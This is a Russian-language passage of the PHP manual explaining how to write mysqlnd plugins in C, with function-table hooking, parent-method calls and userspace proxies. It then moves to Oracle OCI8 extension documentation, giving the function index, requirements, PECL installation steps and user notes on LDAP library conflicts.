В C объекты описывают используя struct. Члены структуры являются свойствами объекта. Члены структуры, указывающие на функции, являются методами.

В отличие от таких языков как C++ или Java, в C нет фиксированных правил наследования. Однако существуют некоторые договорённости, которым необходимо следовать, но это мы обсудим позже.

Жизненный цикл PHP

При рассмотрении жизненного цикла PHP существует два основных цикла:

  • Цикл старта и остановки движка PHP

  • Цикл обработки запроса

При старте движка PHP, первым делом вызывается функция инициализации модулей (MINIT) для каждого зарегистрированного модуля. Это позволяет каждому модулю установить переменные и выделить ресурсы, которые будут задействованы все время жизни процесса движка PHP. Когда движок PHP выключается, он вызывает функцию остановки модулей (MSHUTDOWN) для каждого модуля.

На протяжении жизненного цикла движка PHP, он принимает некоторое количество запросов. Каждый запрос порождает новый жизненный цикл. На каждый запрос, движок PHP вызывает функцию инициализации для каждого модуля. Модуль может предпринять выставление переменных и выделение ресурсов, требуемых для обслуживания запроса. По окончании жизни запроса, движок вызывает функцию остановки запроса (RSHUTDOWN) для каждого модуля, что позволяет им произвести необходимые чистки.

Как работает плагин

Плагин mysqlnd работает перехватывая вызовы модулей, использующих mysqlnd, к mysqlnd. Это достигается подменой таблицы функций mysqlnd на созданную плагином.

Следующий код демонстрирует замену таблицы функций mysqlnd:

/* хранилище оригинальной таблицы */
struct st_mysqlnd_conn_methods org_methods;

void minit_register_hooks(TSRMLS_D) {
  /* активная таблица функций */
  struct st_mysqlnd_conn_methods * current_methods
    = mysqlnd_conn_get_methods();

  /* бэкап оригинальной таблицы */
  memcpy(&org_methods, current_methods,
    sizeof(struct st_mysqlnd_conn_methods);

  /* установка новых методов */
  current_methods->query = MYSQLND_METHOD(my_conn_class, query);
}

Манипуляцией с таблицей функций соединения необходимо заниматься на этапе инициализации модуля (MINIT). Таблица функций - это глобальный разделяемый ресурс. В многопоточном окружении, со сборкой TSRM, манипуляция глобальным разделяемым ресурсом на этапе обработки запроса приведёт к конфликтам.

Замечание:

Не используйте какую-либо логику, связанную с фиксированным размером при манипуляции с таблицей функций mysqlnd. Всегда добавляйте новые методы в конец таблицы, так как сама таблица может в будущем в любой момент измениться.

Вызов родительских методов

Если записи оригинальной таблицы функций были сохранены, то всегда остаётся возможность вызвать оригинальный метод - родительский.

В некоторых случаях, например, для Connection::stmt_init(), жизненно важно сначала вызвать родительский метод, и только потом делать что либо в новом методе.

MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn,
  const char *query, unsigned int query_len TSRMLS_DC) {

  php_printf("my_conn_class::query(query = %s)\n", query);

  query = "SELECT 'query rewritten' FROM DUAL";
  query_len = strlen(query);

  return org_methods.query(conn, query, query_len); /* возврат с вызовом родителя */
}

Расширение свойств

Объекты mysqlnd представлены как C struct. Невозможно добавить члена в C struct во время исполнения. Пользователи объектов mysqlnd не могут просто добавить свойства объекту.

Произвольные данные (свойства) могут быть добавлены к объекту mysqlnd с использованием соответствующей функции из семейства mysqlnd_plugin_get_plugin_<object>_data(). При размещении объекта mysqlnd резервируется место в конце объекта для удержания void * указателя на произвольные данные. mysqlnd резервирует место для одного void * указателя на плагин.

В следующей таблице показано, как вычислить положение указателя для конкретного плагина:

Расчёт указателя для mysqlnd
Адрес памяти | Содержимое
0 | Начало объекта mysqlnd (C struct)
n | Конец объекта mysqlnd (C struct)
n + (m x sizeof(void*)) | void* для данных объекта плагина номер m

Если вы планируете делать подкласс от одного из конструкторов объекта mysqlnd, которые разрешены, имейте это в виду!

Следующий код демонстрирует расширение свойств:

/* Любые данные, которые мы хотим добавить */
typedef struct my_conn_properties {
  unsigned long query_counter;
} MY_CONN_PROPERTIES;

/* идентификатор плагина */
unsigned int my_plugin_id;

void minit_register_hooks(TSRMLS_D) {
  /* получаем уникальный идентификатор плагина */
  my_plugin_id = mysqlnd_plugin_register();
  /* snip - see Extending Connection: methods */
}

static MY_CONN_PROPERTIES** get_conn_properties(const MYSQLND *conn TSRMLS_DC) {
  MY_CONN_PROPERTIES** props;
  props = (MY_CONN_PROPERTIES**)mysqlnd_plugin_get_plugin_connection_data(
    conn, my_plugin_id);
  if (!props || !(*props)) {
    *props = mnd_pecalloc(1, sizeof(MY_CONN_PROPERTIES), conn->persistent);
    (*props)->query_counter = 0;
  }
  return props;
}

Разработчик плагина отвечает за управление памятью данных плагина.

Рекомендуется использовать управление памятью mysqlnd для данных плагина. Эти функции именуются используя такие соглашения: mnd_*loc(). Управление памятью mysqlnd имеет ряд полезных свойств, таких как использование отладочного модуля управления памятью в неотладочных сборках.

Когда и как создавать подкласс
 | Когда создавать подкласс? | Каждый экземпляр имеет свою собственную таблицу функций? | Как создавать подкласс?
Соединение (MYSQLND) | MINIT | Нет | mysqlnd_conn_get_methods()
Результирующий набор (MYSQLND_RES) | MINIT or later | Да | mysqlnd_result_get_methods() или методом объекта, манипулирующим таблицей функций
Результирующий набор (MYSQLND_RES_METADATA) | MINIT | Нет | mysqlnd_result_metadata_get_methods()
Оператор (MYSQLND_STMT) | MINIT | Нет | mysqlnd_stmt_get_methods()
Сеть (MYSQLND_NET) | MINIT или позже | Да | mysqlnd_net_get_methods() или методом объекта, манипулирующим таблицей функций
Протокол обмена (MYSQLND_PROTOCOL) | MINIT или позже | Да | mysqlnd_protocol_get_methods() или методом объекта, манипулирующим таблицей функций

Вы не должны манипулировать таблицей функций после MINIT, если это прямо не разрешено в таблице выше.

Некоторые классы содержат указатель на таблицу функций методов. Все экземпляры подобных классов должны делить одну и ту же таблицу функций. Для того, чтобы избежать хаоса, особенно в многопоточном окружении, управлять такими таблицами функций стоит только во время MINIT.

Прочие классы используют копии глобально разделённых таблиц функций. Таблица функций создаётся одновременно с объектом. Каждый объект использует свою таблицу. Это даёт вам две возможности: вы можете управлять таблицей функций по умолчанию для объекта во время MINIT, а также вы можете изменять методы объекта не затрагивая другие экземпляры этого же класса.

Преимущество разделяемой таблицы функций в производительности, так как нет нужды копировать таблицу функций отдельно для каждого объекта.

Статус конструктора
Тип | Размещение, создание, сброс | Может быть изменено? | Вызывающий
Connection (MYSQLND) | mysqlnd_init() | Нет | mysqlnd_connect()
Результирующий набор (MYSQLND_RES)

Размещение:

  • Connection::result_init()

Сброс и повторная инициализация во время:

  • Result::use_result()

  • Result::store_result

Да, но вызовите родителя!

  • Connection::list_fields()

  • Statement::get_result()

  • Statement::prepare() (Только метаданные)

  • Statement::resultMetaData()

Метаданные результирующего набора (MYSQLND_RES_METADATA) | Connection::result_meta_init() | Да, но вызовите родителя! | Result::read_result_metadata()
Оператор (MYSQLND_STMT) | Connection::stmt_init() | Да, но вызовите родителя! | Connection::stmt_init()
Сеть (MYSQLND_NET) | mysqlnd_net_init() | Нет | Connection::init()
Протокол обмена (MYSQLND_PROTOCOL) | mysqlnd_protocol_init() | Нет | Connection::init()

Настоятельно рекомендуется не заменять конструктор целиком. Конструкторы производят выделение памяти. Выделение памяти жизненно необходимо для API плагинов mysqlnd и для логики объекта mysqlnd. Если вам не страшны предупреждения и хотите сильно поменять конструктор, то хотя бы вызовите родительский конструктор прежде, чем что-либо делать.

Несмотря на все предупреждения, это может быть полезным для конструктора подкласса. Конструкторы - отличное место для изменения таблицы функций для объектов, не использующих разделённую таблицу, таких как результирующий набор, сеть, протокол обмена.

Статус уничтожения
 | Производный метод должен вызвать родительский? | Деструктор
Соединение | да, после выполнения метода | free_contents(), end_psession()
Результирующий набор | да, после выполнения метода | free_result()
Метаданные результирующего набора | да, после выполнения метода | free()
Оператор | да, после выполнения метода | dtor(), free_stmt_content()
Сеть | да, после выполнения метода | free()
Протокол обмена | да, после выполнения метода | free()

Деструкторы являются подходящим местом, чтобы освободить ресурсы, занимаемые свойствами mysqlnd_plugin_get_plugin_<object>_data().

Перечисленные деструкторы могут не совпадать с актуальными методами mysqlnd для очистки самого объекта. Однако они являются самым лучшим местом, куда вы можете вклиниться для очистки данных своего плагина. Так же как и с конструкторами, вы можете полностью переопределить эти методы, но делать это не рекомендуется. Если вам необходимо вставить в каждый из перечисленных методов очистку данных своего плагина, то необходимо обеспечить запуск родительских методов mysqlnd.

Рекомендованный метод для плагинов - выполнить код очистки данных плагина и сразу же после этого вызывать родительский метод.

User Contributed Notes

There are no user contributed notes for this page.


API плагинов mysqlnd

API плагинов mysqlnd предоставляет следующие функции:

  • mysqlnd_plugin_register()

  • mysqlnd_plugin_count()

  • mysqlnd_plugin_get_plugin_connection_data()

  • mysqlnd_plugin_get_plugin_result_data()

  • mysqlnd_plugin_get_plugin_stmt_data()

  • mysqlnd_plugin_get_plugin_net_data()

  • mysqlnd_plugin_get_plugin_protocol_data()

  • mysqlnd_conn_get_methods()

  • mysqlnd_result_get_methods()

  • mysqlnd_result_meta_get_methods()

  • mysqlnd_stmt_get_methods()

  • mysqlnd_net_get_methods()

  • mysqlnd_protocol_get_methods()

Нет стандартных определений того, что такое плагин и как он работает.

Часто встречающиеся в плагинах компоненты:

  • Менеджер плагина

  • API плагина

  • Сервисы приложения (или модули)

  • API сервисов приложения (или API модулей)

Концепция плагина mysqlnd эксплуатирует эту функциональность и, кроме того, радует нас открытой архитектурой.

Нет запретов

Плагин имеет полный доступ ко всем внутренностям mysqlnd. Нет ограничений или запретов, связанных с безопасностью. Все что угодно можно переписать для реализации дружественных или враждебных алгоритмов, так что рекомендуется ставить плагины только из доверенных источников.

Как обсуждалось выше, плагины могут свободно использовать указатели. Эти указатели ничем не ограничены и могут указывать на данные другого плагина. Простейшая арифметическая операция позволит получить доступ к данным другого плагина.

Рекомендуется писать сотрудничающие плагины, которые могут работать сообща с другими плагинами и всегда вызывать родительские методы. Плагины никогда не должны вести себя враждебно к самому mysqlnd.

Проблемы: пример сотрудничества и построения цепочки
Модуль | Указатель mysqlnd.query() | Стек вызова, если вызывается родитель
ext/mysqlnd | mysqlnd.query() | mysqlnd.query
ext/mysqlnd_cache mysqlnd_cache.query()

  1. mysqlnd_cache.query()

  2. mysqlnd.query

ext/mysqlnd_monitor mysqlnd_monitor.query()

  1. mysqlnd_monitor.query()

  2. mysqlnd_cache.query()

  3. mysqlnd.query

В этом сценарии загружены плагины кеша (ext/mysqlnd_cache) и мониторинга (ext/mysqlnd_monitor). Оба наследуют класс Connection::query(). регистрация плагинов происходит на этапе MINIT в соответствии с описанной выше логикой. PHP, по умолчанию, вызывает модули в алфавитном порядке. Плагины не знают друг о друге и не накладывают каких-либо зависимостей.

По умолчанию, плагины вызывают родительский метод query из своей, переопределённой, версии этого метода.

Резюме по модулю PHP

Повторение пройденного материала на примере поведения плагина ext/mysqlnd_plugin, использующего API плагинов mysqlnd для PHP:

  • Любое приложение PHP, использующее MySQL пытается установить соединение по адресу 192.168.2.29

  • Приложение использует одно из следующих модулей ext/mysql, ext/mysqli или PDO_MYSQL. Все три модуля используют mysqlnd для соединения с 192.168.2.29.

  • Mysqlnd вызывает метод соединения, который наследуется плагином ext/mysqlnd_plugin.

  • ext/mysqlnd_plugin вызывает зарегистрированный пользователем метод proxy::connect().

  • Этот метод подменяет IP адрес соединения с 192.168.2.29 на 127.0.0.1 и возвращает установленное parent::connect() соединение.

  • ext/mysqlnd_plugin делает то же самое, что и parent::connect(127.0.0.1), вызывая оригинальный метод mysqlnd для соединения.

  • ext/mysqlnd устанавливает соединение и возвращает его ext/mysqlnd_plugin. ext/mysqlnd_plugin, в свою очередь, передаёт его дальше.

  • Без разницы, какой модуль был использован, он всё равно получит соединение к 127.0.0.1. После этого, модуль возвращает это соединение приложению. Круг замкнулся.

User Contributed Notes

There are no user contributed notes for this page.


Начинаем разработку плагина mysqlnd

Важно помнить, что плагин mysqlnd сам по себе является модулем PHP.

Следующий пример показывает базовую структуру функции MINIT, использующуюся в типичном плагине mysqlnd:

/* my_php_mysqlnd_plugin.c */

 static PHP_MINIT_FUNCTION(mysqlnd_plugin) {
  /* глобальные переменные, ini-настройки, ресурсы, классы */

  /* регистрируем плагин mysqlnd */
  mysqlnd_plugin_id = mysqlnd_plugin_register();

  conn_m = mysqlnd_get_conn_methods();
  memcpy(org_conn_m, conn_m,
    sizeof(struct st_mysqlnd_conn_methods));

  conn_m->query = MYSQLND_METHOD(mysqlnd_plugin_conn, query);
  conn_m->connect = MYSQLND_METHOD(mysqlnd_plugin_conn, connect);
}

/* my_mysqlnd_plugin.c */

 enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, query)(/* ... */) {
  /* ... */
}
enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, connect)(/* ... */) {
  /* ... */
}

Анализ задачи: от C до пользовательского пространства

 class proxy extends mysqlnd_plugin_connection {
  public function connect($host, ...) { .. }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

Процесс:

  1. PHP: пользователь регистрирует callback-функцию плагина

  2. PHP: пользователь вызывает PHP MySQL API для соединения с MySQL

  3. C: ext/*mysql* вызывает метод mysqlnd

  4. C: mysqlnd обрывается в ext/mysqlnd_plugin

  5. C: ext/mysqlnd_plugin

    1. Вызывает пользовательскую callback-функцию

    2. Или оригинальный метод mysqlnd, если она не задана

Вам необходимо выполнить следующие действия:

  1. Создайте в С класс "mysqlnd_plugin_connection"

  2. Примите и зарегистрируйте прокси объект с помощью "mysqlnd_plugin_set_conn_proxy()"

  3. Вызовите прокси методы пространства пользователя из C (оптимизация - zend_interfaces.h)

Методы объекта пространства пользователя должны быть вызваны с помощью call_user_function() или на уровень ниже, с помощью zend_call_method().

Оптимизация: вызывайте методы из С с помощью zend_call_method

Следующий кусок кода демонстрирует прототип функции zend_call_method, взятый из zend_interfaces.h.

 ZEND_API zval* zend_call_method(
  zval **object_pp, zend_class_entry *obj_ce,
  zend_function **fn_proxy, char *function_name,
  int function_name_len, zval **retval_ptr_ptr,
  int param_count, zval* arg1, zval* arg2 TSRMLS_DC
);

Zend API поддерживает только два аргумента. Вам может понадобиться больше. К примеру:

 enum_func_status (*func_mysqlnd_conn__connect)(
  MYSQLND *conn, const char *host,
  const char * user, const char * passwd,
  unsigned int passwd_len, const char * db,
  unsigned int db_len, unsigned int port,
  const char * socket, unsigned int mysql_flags TSRMLS_DC
);

Для обхода этой проблемы вам необходимо сделать копию zend_call_method() и добавить необходимые параметры. Вы можете сделать это создав набор макросов MY_ZEND_CALL_METHOD_WRAPPER.

Обращение к пространству пользователя PHP

Этот кусок кода демонстрирует оптимизированный метод вызова функций пространства пользователя из С:

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class,connect)(
  MYSQLND *conn, const char *host /* ... */ TSRMLS_DC) {
  enum_func_status ret = FAIL;
  zval * global_user_conn_proxy = fetch_userspace_proxy();
  if (global_user_conn_proxy) {
    /* вызов прокси пространства пользователя */
    ret = MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, host, /*...*/);
  } else {
    /* или оригинальный метод mysqlnd = ничего не делать, быть прозрачным */
    ret = org_methods.connect(conn, host, user, passwd,
          passwd_len, db, db_len, port,
          socket, mysql_flags TSRMLS_CC);
  }
  return ret;
}

Обращение к пространству пользователя: простые аргументы

/* my_mysqlnd_plugin.c */

 MYSQLND_METHOD(my_conn_class,connect)(
  /* ... */, const char *host, /* ...*/) {
  /* ... */
  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_host;
    MAKE_STD_ZVAL(zv_host);
    ZVAL_STRING(zv_host, host, 1);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_host /*, ...*/);
    zval_ptr_dtor(&zv_host);
    /* ... */
  }
  /* ... */
}

Обращение к пространству пользователя: структуры как аргументы

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class, connect)(
  MYSQLND *conn, /* ...*/) {
  /* ... */
  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_conn;
    ZEND_REGISTER_RESOURCE(zv_conn, (void *)conn, le_mysqlnd_plugin_conn);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_conn, zv_host /*, ...*/);
    zval_ptr_dtor(&zv_conn);
    /* ... */
  }
  /* ... */
}

первый аргумент многих методов mysqlnd - это "объекты" С. К примеру, первый аргумент метода connect() является указателем на MYSQLND. Структура MYSQLND представляет собой объект соединения mysqlnd.

Указатель на объект соединения mysqlnd можно сравнить со стандартным обработчиком файлового ввода/вывода. Так же как и он, объект соединения mysqlnd должен быть связан с пространством пользователя с использованием PHP типом "resource".

Из C в пространство пользователя и обратно

 class proxy extends mysqlnd_plugin_connection {
  public function connect($conn, $host, ...) {
    /* до внедрения */
    printf("Подключение к = '%s'\n", $host);
    debug_print_backtrace();
    return parent::connect($conn);
  }

  public function query($conn, $query) {
    /* после внедрения */
    $ret = parent::query($conn, $query);
    printf("Запрос = '%s'\n", $query);
    return $ret;
  }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

Пользователи PHP должны иметь возможность вызывать родительские реализации переопределённых методов.

В результате наследования возможно "уточнить" только выбранные методы и вы можете выбрать, когда выполнять ваш код, до или после родительского.

Встроенный класс: mysqlnd_plugin_connection::connect()

/*  my_mysqlnd_plugin_classes.c */

 PHP_METHOD("mysqlnd_plugin_connection", connect) {
  /* ... упрощённый! ... */
  zval* mysqlnd_rsrc;
  MYSQLND* conn;
  char* host; int host_len;
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rs",
    &mysqlnd_rsrc, &host, &host_len) == FAILURE) {
    RETURN_NULL();
  }
  ZEND_FETCH_RESOURCE(conn, MYSQLND* conn, &mysqlnd_rsrc, -1,
    "Mysqlnd Connection", le_mysqlnd_plugin_conn);
  if (PASS == org_methods.connect(conn, host, /* simplified! */ TSRMLS_CC))
    RETVAL_TRUE;
  else
    RETVAL_FALSE;
}

User Contributed Notes

There are no user contributed notes for this page.


Oracle OCI8

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Тестирование
    • Настройка во время выполнения
  • Предопределённые константы
  • Примеры
  • Работа с соединениями OCI8 и Connection Pooling
  • Поддержка OCI8 Fast Application Notification (FAN)
  • Поддержка прозрачного для приложений восстановления после отказа (Transparent Application Failover или TAF) для OCI8
  • OCI8 и динамическая трассировка DTrace
  • Поддерживаемые типы данных
  • OCI8 Функции
    • oci_bind_array_by_name — Связывает PHP массив с массивом Oracle PL/SQL
    • oci_bind_by_name — Прикрепляет переменную PHP к соответствующей метке в SQL-выражении
    • oci_cancel — Заканчивает процесс чтения из курсора
    • oci_client_version — Возвращает версию клиентской библиотеки
    • oci_close — Закрывает соединение с сервером Oracle
    • oci_commit — Подтверждает транзакцию базы данных
    • oci_connect — Устанавливает соединение с базой данных Oracle
    • oci_define_by_name — Сопоставляет переменную PHP столбцу результата запроса
    • oci_error — Возвращает последнюю ошибку
    • oci_execute — Выполняет подготовленное выражение
    • oci_fetch_all — Выбирает все строки из результата запроса в двумерный массив
    • oci_fetch_array — Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива
    • oci_fetch_assoc — Возвращает следующую строку из результата запроса в виде ассоциативного массива
    • oci_fetch_object — Возвращает следующую строку из результата запроса в виде объекта
    • oci_fetch_row — Возвращает следующую строку из результата запроса в виде нумерованного массива
    • oci_fetch — Выбирает следующую строку из результата в буфер
    • oci_field_is_null — Проверяет, равняется ли поле в текущем полученном ряду равным null
    • oci_field_name — Возвращает имя поля из результата запроса
    • oci_field_precision — Возвращает точность поля
    • oci_field_scale — Возвращает масштаб поля
    • oci_field_size — Возвращает размер поля
    • oci_field_type_raw — Возвращает исходный тип поля Oracle
    • oci_field_type — Возвращает имя типа поля
    • oci_free_descriptor — Освобождает дескриптор
    • oci_free_statement — Освобождает ресурсы, занимаемые курсором или SQL-выражением
    • oci_get_implicit_resultset — Возвращает следующий ресурс дочернего запроса из ресурса родительского запроса, имеющего неявные результирующие наборы Oracle Database
    • oci_lob_copy — Копирует объект LOB
    • oci_lob_is_equal — Сравнивает два объекта LOB/FILE
    • oci_new_collection — Создаёт новый объект коллекции
    • oci_new_connect — Устанавливает новое соединение с сервером Oracle
    • oci_new_cursor — Возвращает идентификатор созданного курсора
    • oci_new_descriptor — Инициализирует новый дескриптор объекта LOB или FILE
    • oci_num_fields — Возвращает количество полей в результате запроса
    • oci_num_rows — Возвращает количество строк, изменённых в процессе выполнения запроса
    • oci_parse — Подготавливает запрос к выполнению
    • oci_password_change — Изменяет пароль пользователя Oracle
    • oci_pconnect — Устанавливает постоянное соединение с сервером Oracle
    • oci_register_taf_callback — Регистрирует пользовательскую функцию обратного вызова для Oracle Database TAF
    • oci_result — Возвращает значение поля из результата запроса
    • oci_rollback — Откатывает транзакции, ожидающие обработки
    • oci_server_version — Возвращает версию сервера Oracle
    • oci_set_action — Задаёт имя для действия
    • oci_set_call_timeout — Устанавливает время ожидания в миллисекундах для вызовов базы данных
    • oci_set_client_identifier — Задаёт идентификатор клиента
    • oci_set_client_info — Задаёт информацию о клиенте
    • oci_set_db_operation — Задаёт операцию базы данных
    • oci_set_edition — Задаёт выпуск (edition) базы данных
    • oci_set_module_name — Задаёт имя модулю
    • oci_set_prefetch_lob — Устанавливает объём данных, предварительно выбираемых для каждого CLOB или BLOB
    • oci_set_prefetch — Устанавливает количество строк, которые будут автоматически выбраны в буфер
    • oci_statement_type — Возвращает тип выражения
    • oci_unregister_taf_callback — Удалить регистрацию пользовательской callback-функции для Oracle Database TAF
  • OCICollection — Класс OCICollection
    • OCICollection::append — Добавляет элемент в коллекцию
    • OCICollection::assign — Присваивает коллекции значение другой, уже существующей коллекции
    • OCICollection::assignElem — Присваивает значение элементу коллекции
    • OCICollection::free — Освобождает ресурсы, занимаемые объектом коллекции
    • OCICollection::getElem — Возвращает значение элемента
    • OCICollection::max — Возвращает максимальное количество элементов в коллекции
    • OCICollection::size — Возвращает количество элементов в коллекции
    • OCICollection::trim — Отсекает элементы с конца коллекции
  • OCILob — Класс OCILob
    • OCILob::append — Добавляет данные из объекта LOB в конец другого объекта
    • OCILob::close — Закрывает дескриптор объекта LOB
    • OCILob::eof — Проверяет, находится ли указатель LOB на конце объекта
    • OCILob::erase — Очищает указанную часть объекта LOB
    • OCILob::export — Сохраняет содержимое объекта LOB в файл
    • OCILob::flush — Очищает и записывает буфер объекта LOB на сервер
    • OCILob::free — Освобождает ресурсы, связанные с дескриптором LOB
    • OCILob::getBuffering — Возвращает текущее состояние буферизации большого объекта (LOB)
    • OCILob::import — Записывает содержимое файла в объект LOB
    • OCILob::load — Возвращает содержимое объекта LOB
    • OCILob::read — Возвращает часть объекта LOB
    • OCILob::rewind — Переводит указатель объекта в начало большого объекта
    • OCILob::save — Сохраняет данные в LOB
    • OCILob::saveFile — Псевдоним OCILob::import
    • OCILob::seek — Устанавливает позицию внутреннего указателя LOB
    • OCILob::setBuffering — Изменяет текущее состояние буферизации большого объекта (LOB)
    • OCILob::size — Возвращает размер объекта LOB
    • OCILob::tell — Возвращает текущую позицию внутреннего указателя объекта LOB
    • OCILob::truncate — Обрезает большой объект
    • OCILob::write — Записывает данные в объект LOB
    • OCILob::writeTemporary — Записывает временный большой объект (LOB)
    • OCILob::writeToFile — Псевдоним OCILob::export
  • Устаревшие наименования и функции OCI8
    • oci_internal_debug — Включает или отключает внутренний вывод отладки
    • ocibindbyname — Псевдоним oci_bind_by_name
    • ocicancel — Псевдоним oci_cancel
    • ocicloselob — Псевдоним OCILob::close
    • ocicollappend — Псевдоним OCICollection::append
    • ocicollassign — Псевдоним OCICollection::assign
    • ocicollassignelem — Псевдоним OCICollection::assignElem
    • ocicollgetelem — Псевдоним OCICollection::getElem
    • ocicollmax — Псевдоним OCICollection::max
    • ocicollsize — Псевдоним OCICollection::size
    • ocicolltrim — Псевдоним OCICollection::trim
    • ocicolumnisnull — Псевдоним oci_field_is_null
    • ocicolumnname — Псевдоним oci_field_name
    • ocicolumnprecision — Псевдоним oci_field_precision
    • ocicolumnscale — Псевдоним oci_field_scale
    • ocicolumnsize — Псевдоним oci_field_size
    • ocicolumntype — Псевдоним oci_field_type
    • ocicolumntyperaw — Псевдоним oci_field_type_raw
    • ocicommit — Псевдоним oci_commit
    • ocidefinebyname — Псевдоним oci_define_by_name
    • ocierror — Псевдоним oci_error
    • ociexecute — Псевдоним oci_execute
    • ocifetch — Псевдоним oci_fetch
    • ocifetchinto — Устаревший вариант функций oci_fetch_array, oci_fetch_object, oci_fetch_assoc и oci_fetch_row
    • ocifetchstatement — Псевдоним oci_fetch_all
    • ocifreecollection — Псевдоним OCICollection::free
    • ocifreecursor — Псевдоним oci_free_statement
    • ocifreedesc — Псевдоним OCILob::free
    • ocifreestatement — Псевдоним oci_free_statement
    • ociinternaldebug — Псевдоним oci_internal_debug
    • ociloadlob — Псевдоним OCILob::load
    • ocilogoff — Псевдоним oci_close
    • ocilogon — Псевдоним oci_connect
    • ocinewcollection — Псевдоним oci_new_collection
    • ocinewcursor — Псевдоним oci_new_cursor
    • ocinewdescriptor — Псевдоним oci_new_descriptor
    • ocinlogon — Псевдоним oci_new_connect
    • ocinumcols — Псевдоним oci_num_fields
    • ociparse — Псевдоним oci_parse
    • ociplogon — Псевдоним oci_pconnect
    • ociresult — Псевдоним oci_result
    • ocirollback — Псевдоним oci_rollback
    • ocirowcount — Псевдоним oci_num_rows
    • ocisavelob — Псевдоним OCILob::save
    • ocisavelobfile — Псевдоним OCILob::import
    • ociserverversion — Псевдоним oci_server_version
    • ocisetprefetch — Псевдоним oci_set_prefetch
    • ocistatementtype — Псевдоним oci_statement_type
    • ociwritelobtofile — Псевдоним OCILob::export
    • ociwritetemporarylob — Псевдоним OCILob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции позволяют работать с базой данных Oracle Database. Поддерживаются SQL и PL/SQL-выражения. Основной функционал представляет собой поддержку транзакций, привязку переменных PHP к соответствующим плейсхолдерам Oracle, расширенную поддержку больших объектов (LOB) и коллекций. Также поддерживаются кеширование результатов и такие возможности масштабирования Oracle как пул постоянных соединений базы данных (Database Resident Connection Pooling, DRCP).

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Тестирование
  • Настройка во время выполнения

User Contributed Notes

There are no user contributed notes for this page.


Требования

Модуль OCI8 3.0 включён в PHP 8. Также он доступен в » PECL. Для PHP 7, используйте OCI8 2.2 from » PECL. Для работы OCI8 требуются клиентские библиотеки Oracle 10g или выше.

Если база данных Oracle находится на той же машине, что и PHP, то все необходимые библиотеки и заголовочные файлы уже установлены. Если PHP установлен на другую машину, то используйте бесплатные библиотеки с » Oracle Instant Client.

Для использования Oracle Instant Client, установите Basic или Basic Lite zip-архив Oracle Instant Client или RPM или DMG пакет. При сборке PHP из исходного кода, также установите Instant Client SDK.

Необходимо использовать PHP с теми же или более свежими версиями библиотек Oracle, чем те, с которыми был собран модуль OCI8.

Замечание:

Принципы клиент-серверной сетевой совместимости Oracle, позволяют создавать соединения между различающимися версиями Oracle Client и Oracle Database. Подробности смотрите в документе совместимости ID 207303.1. В кратце, Oracle Client 19, 18 и 12.2 могут соединяться с Oracle Database 11.2 и выше. Oracle Client 12.1 может соединяться с Oracle Database 10.2 и выше. Oracle Client 11.2 может соединяться с Oracle Database 9.2 и выше.

Замечание:

Полный набор возможностей OCI8 возможен только при использовании новейших версий клиентских библиотек Oracle и базы данных.

User Contributed Notes

Wilber 09-Jul-2022 03:00
The OCI8 extension lets you access Oracle Database.

Use 'pecl install oci8' to install for PHP 8.1.

Use 'pecl install oci8-3.0.1' to install for PHP 8.0.

Use 'pecl install oci8-2.2.0' to install for PHP 7.

Use 'pecl install oci8-2.0.12' to install for PHP 5.2 - PHP 5.6.

Use 'pecl install oci8-1.4.10' to install for PHP 4.3.9 - PHP 5.1.

[username@hostname ~]# php -v
^ To see PHP version
charles dot fisher at arconic dot com 27-Dec-2019 05:00
Oracle's development package includes an ldap.h file that causes compilation attempts of PHP to fail.

For the oracle-instantclient12.2-devel 64-bit RPM, this file is found in the following path:

/usr/include/oracle/12.2/client64/ldap.h

Rename this file to ldap.h-oracle.

After doing so, and assuming there are no other build problems, PHP will compile (even when ldap and oci are configured in the build).
Andi,post at rueckauer dot nospam dot ch 01-May-2018 12:14
The provided link to the Oracle Instant Client is not valid anymore. Visit http://www.oracle.com/technetwork/database/database-technologies/instant-client/downloads/index.html instead.
sgfan at gmx dot net 27-Sep-2017 09:31
I can confirm Rainer's observations and this not limited to PHP. One cannot link libopenldap with C with Oracle driver without crashing the app at runtime. Same here on HP-UX. Both won't play nice at all.
Rainer Perske 28-Jun-2017 06:16
Oracle Instant Client provides its own LDAP library that may be incompatible to the LDAP library provided by the operating system.

Segmentation faults and other errors can happen if you load an OCI8 extension into a PHP containing LDAP support or if you load a PHP module with OCI8 into an Apache server with LDAP support.

But this depends heavily on the exact versions of operating system, system LDAP library, PHP,  OCI8, and other pieces of software involved.


Установка

Сборка PHP совместно с OCI8

Перед сборкой OCI8 изучите предыдущий раздел "Требования".

Перед стартом веб-сервера, OCI8 обычно требуется несколько переменных окружения Oracle (смотрите ниже) для обнаружения библиотек, конфигурационных файлов и установки некоторых базовых свойств, таких как кодировка, используемая библиотеками Oracle. Эти переменные должны быть установлены перед запуском любого PHP-процесса.

Бинарный файл PHP должен использовать ту же, или более свежую основную версию библиотек Oracle, чем ту, с которой он был собран. Например, если вы собрали OCI8 с библиотеками Oracle 19, то PHP также должен работать с библиотеками Oracle 19. Приложения PHP могут подключаться к другим версиям Oracle Database, так как Oracle имеет клиент-серверную совместимость разных версий.

Установка OCI8 из PECL

Модуль OCI8 может быть включён в текущую установку PHP как автоматически, так и вручную с помощью » PECL.

  • Если ваш компьютер находится за файерволом, установите прокси для PEAR, например:

    pear config-set http_proxy http://my-proxy.example.com:80/

  • Запустите

    pecl install oci8

    Для PHP 7, используйте pecl install oci8-2.2.0

    При запросе введите либо значение $ORACLE_HOME, либо instantclient,/path/to/instant/client/lib.

